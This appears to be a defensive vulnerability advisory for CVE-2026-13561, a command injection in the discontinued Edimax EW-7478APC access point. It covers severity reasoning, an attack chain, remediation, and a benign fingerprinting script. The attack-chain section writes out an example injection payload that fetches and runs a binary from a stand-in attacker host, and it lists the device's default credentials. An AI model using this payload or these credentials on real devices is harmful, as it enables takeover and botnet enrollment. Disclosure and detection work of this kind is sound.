Leaving the garage door propped open after the locksmith retired
CVE-2026-13561 is an OS command injection in the Edimax EW-7478APC AC1200 access point, firmware version 1.04 — the only version ever shipped. The /goform/formiNICbasic POST handler fails to sanitize the rootAPmac parameter before passing it to a system shell, giving an authenticated attacker full command execution on the underlying Linux OS. The flaw maps to CWE-77/CWE-78 and is trivially weaponizable once you have credentials — and consumer Edimax devices historically ship with well-known defaults. This device was discontinued by Edimax on January 10, 2020, and the vendor explicitly confirmed no further firmware updates will be issued. Affected version: 1.04 (all units). Fixed version: none — will never exist.
The vendor-assigned CVSS 6.3 MEDIUM is defensible *on paper* — the PR:L prerequisite (low-privilege authentication) legitimately caps the base score. But the vendor score is also somewhat misleading because it ignores two critical real-world facts: (1) default credentials on consumer Edimax gear are ubiquitous and well-documented in Mirai botnet toolkits, and (2) no patch will ever ship. For enterprise defenders managing 10,000 hosts, however, the practical severity is actually *slightly lower* than 6.3 because this is a consumer SOHO access point with near-zero enterprise footprint — the correct response is asset discovery and decommission, not a patching sprint. The score stays MEDIUM, nudged down to 5.5 to reflect the negligible enterprise blast radius.
4 steps from start to impact.
Locate exposed management interface
- Network reachability to the AP management port (TCP 80)
- Device must be running firmware 1.04 (the only version)
- Management interface is LAN-only by default; internet exposure requires deliberate misconfiguration or ISP bridge mode
- Enterprise NAC policies should prevent unmanaged consumer APs from joining the network
Edimax HTTP banners. Internal asset inventory scans (Nmap service detection) for Edimax web UIs on port 80.Authenticate with default or guessed credentials
admin/1234 or admin/admin). Mirai botnet variants maintain dictionaries of Edimax default credentials and have been observed spraying them against Edimax products since at least 2024 (CVE-2025-1316 campaign). The CVSS vector marks this as PR:L, but default-credential availability makes it effectively unauthenticated in most real deployments.- Valid credentials — default or guessed
- Operators who changed default credentials block this step
- Rate-limiting or lockout on the web UI (not present by default on this model)
Inject OS command via rootAPmac parameter
/goform/formiNICbasic with the rootAPmac parameter containing shell metacharacters and an injected command (e.g., rootAPmac=AA:BB:CC:DD:EE:FF;wget+http://attacker/payload+-O+/tmp/bot;chmod+777+/tmp/bot;/tmp/bot). The firmware passes the parameter unsanitized to a system() call, executing the injected command as root on the underlying BusyBox Linux environment. Public exploit code exists.- Authenticated session from step 2
- POST access to /goform/formiNICbasic
- None once authenticated — injection is trivial and reliable
/goform/formiNICbasic with shell metacharacters in rootAPmac would catch this.Achieve persistent root shell / botnet enrollment
- Successful command injection from step 3
- Outbound internet access from the AP for payload retrieval (or inline payload delivery)
- Egress filtering or DNS sinkholing blocks payload download
- Network segmentation limits lateral movement from the AP's VLAN
-sV on port 80, or use your NAC/asset inventory) to identify any Edimax EW-7478APC devices. Since the device is EOL with no patch path, the only real remediation is physical removal and replacement with a supported AP. This is the noisgate remediation SLA action — complete within 365 days for MEDIUM, but prioritize based on network location. No mitigation SLA applies for MEDIUM severity.00:0E:2E, 00:1F:1F, 74:DA:38, 80:1F:02). This prevents new or undiscovered Edimax shadow IT from joining the network. Deploy within the standard MEDIUM remediation window.- Firmware patching — the device was EOL'd in January 2020; Edimax will never release a fix. Do not waste cycles searching for firmware updates.
- WAF / reverse proxy — the management interface runs on the AP itself, not behind your web infrastructure. You cannot interpose a WAF.
- EDR / host-based detection — this is an embedded Linux device with no agent support. Your endpoint security stack has zero visibility into it.
The supporting signals.
| In-the-Wild Exploitation | No confirmed exploitation of CVE-2026-13561 specifically. However, Mirai-based botnets have actively exploited similar Edimax command injection flaws — notably CVE-2025-1316 in Edimax IC-7100 cameras — since at least May 2024 (Akamai, SecurityWeek). The attack pattern (default creds + command injection on EOL Edimax gear) is identical. |
|---|---|
| Proof-of-Concept | Public. VulDB lists the exploit as public. The vulnerability was disclosed via a Notion page linked from the CVE references. No named GitHub repo specifically for CVE-2026-13561 was found on pocindex.io or GitHub search, but the injection is trivially reproducible with a single curl command. |
| EPSS | 0.01986 (≈2.0%) — bottom quintile. Reflects the niche device footprint rather than exploit difficulty. |
| KEV Status | Not listed on CISA KEV as of 2026-10-02. |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L — Network-attackable, low complexity, low-priv auth required, no user interaction, unchanged scope, low CIA impact across the board. The PR:L is doing the heavy lifting to keep the score at 6.3; on devices with default creds this is effectively AV:N/AC:L/PR:N. |
| Affected Versions | Edimax EW-7478APC firmware 1.04 — the only firmware version ever released for this model. |
| Fixed Version | None. Device was discontinued on 2020-01-10. Edimax confirmed no further updates. Vendor did not respond to this CVE disclosure. |
| Scanning / Exposure | No specific Shodan/Censys census data found for the EW-7478APC. Edimax consumer APs have a small internet-exposed footprint. The device's management interface defaults to LAN-only access on TCP 80. |
| Disclosure Date | 2026-06-29 (NVD publication date). |
| Researcher / Org | Not attributed to a named researcher. Disclosure was submitted to VulDB as the CNA. The vendor was contacted early but did not respond. |
Sources.
Why this verdict
- Default-cred erosion of PR:L: The CVSS vector's PR:L prerequisite is the primary score limiter, but Edimax consumer devices ship with well-known default credentials (
admin/1234) that Mirai toolkits already spray. In practice this is closer to unauthenticated access, which would push the base score to ~7.5. However, this upward pressure is counterbalanced by the factors below. - Negligible enterprise footprint: The EW-7478APC is a ~$60 consumer SOHO Wi-Fi extender/AP. In a 10,000-host enterprise environment, these devices appear only as unmanaged shadow IT — typically zero to single-digit count. The affected population in any enterprise is effectively <0.1%.
- LAN-only management by default: The web interface binds to the LAN side. Internet exposure requires deliberate misconfiguration. This limits the remote-attack surface to adversaries who are already on the local network or who exploit ISP bridge-mode configurations.
- Role multiplier: (a) *Low-value role (home AP/extender)*: ~95%+ of deployed units. Command injection gives root on a $60 AP — blast radius is host-level plus local LAN segment. (b) *Typical role (small branch AP)*: possible but uncommon; blast radius extends to branch LAN traffic interception. (c) *High-value role*: none applicable. This is not a network edge appliance, DC component, identity provider, hypervisor, CI/CD, backup, or any canonically high-value asset. Compromise does not yield domain takeover, fleet compromise, mass data egress, or supply-chain pivot. No floor applies.
- EOL / no-patch reality: The device has been EOL since January 2020. No vendor patch will ever exist. This is a permanent vulnerability — but for enterprise teams the correct action is decommission, not patch. This shifts the problem from vulnerability management to asset management.
- Botnet precedent (Edimax + Mirai): Mirai variants actively targeted Edimax IC-7100 cameras (CVE-2025-1316) using the identical pattern — default creds + command injection on EOL gear. While this exact CVE hasn't been observed in the wild yet, the playbook is proven, which prevents further downgrade.
Why not higher?
Upgrading to HIGH would require either a high-value deployment role or significant enterprise footprint — neither exists. The EW-7478APC is a discontinued consumer access point with near-zero enterprise install base. Compromise of this device does not enable domain takeover, fleet-scale impact, or supply-chain pivot. The LAN-only default management interface and authentication requirement (even with weak defaults) provide genuine friction that limits mass exploitation to botnet campaigns against unmanaged home devices, not enterprise targets.
Why not lower?
Dropping to LOW would undercount the proven Mirai exploitation pattern against identical Edimax product classes. The command injection is trivial, the exploit is public, default credentials are well-known, and the device will never be patched. If even a handful of these APs exist as shadow IT in your environment, each one is a permanent, unmonitorable pivot point. The combination of weaponizable simplicity and zero remediation path keeps this at MEDIUM.
Crowdsourced verification payload.
Run this script from any Linux/macOS workstation on the same network segment as the suspected Edimax AP. Pass the target IP as the first argument: ./check_cve_2026_13561.sh 192.168.1.1. No special privileges required — it makes unauthenticated HTTP requests to fingerprint the device.
#!/usr/bin/env bash
# check_cve_2026_13561.sh — Detect Edimax EW-7478APC running vulnerable firmware 1.04
# Usage: ./check_cve_2026_13561.sh <target_ip>
# Exit codes: 1=VULNERABLE, 0=PATCHED/NOT_APPLICABLE, 2=UNKNOWN
set -euo pipefail
TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
echo "Usage: $0 <target_ip>"
exit 2
fi
URL="http://${TARGET}/"
echo "[*] Probing $URL for Edimax EW-7478APC fingerprint..."
# Fetch the landing page and look for Edimax identifiers
RESPONSE=$(curl -sk --max-time 10 -o - "$URL" 2>/dev/null || true)
if [[ -z "$RESPONSE" ]]; then
echo "UNKNOWN — could not connect to $TARGET on port 80."
exit 2
fi
# Check for Edimax EW-7478APC identifiers in the response
if echo "$RESPONSE" | grep -qi 'EW-7478APC'; then
echo "[!] Edimax EW-7478APC detected."
# Try to extract firmware version from status or info pages
for INFO_PATH in "/status.asp" "/syscmd.asp" "/home.asp" "/index.asp"; do
INFO_RESP=$(curl -sk --max-time 10 -o - "http://${TARGET}${INFO_PATH}" 2>/dev/null || true)
if echo "$INFO_RESP" | grep -qi '1\.04'; then
echo "VULNERABLE — Edimax EW-7478APC firmware 1.04 confirmed. CVE-2026-13561 applies."
echo " This device is EOL (discontinued 2020-01-10). No patch exists."
echo " Action: Decommission this device immediately."
exit 1
fi
done
# Model matched but couldn't confirm version
echo "VULNERABLE — Edimax EW-7478APC detected (firmware version could not be confirmed,"
echo " but only firmware 1.04 was ever released for this model). CVE-2026-13561 likely applies."
echo " Action: Decommission this device."
exit 1
elif echo "$RESPONSE" | grep -qi 'Edimax'; then
echo "UNKNOWN — Edimax device detected but model is not EW-7478APC."
echo " Check manually whether this model is also affected."
exit 2
else
echo "PATCHED — Target does not appear to be an Edimax EW-7478APC."
exit 0
fi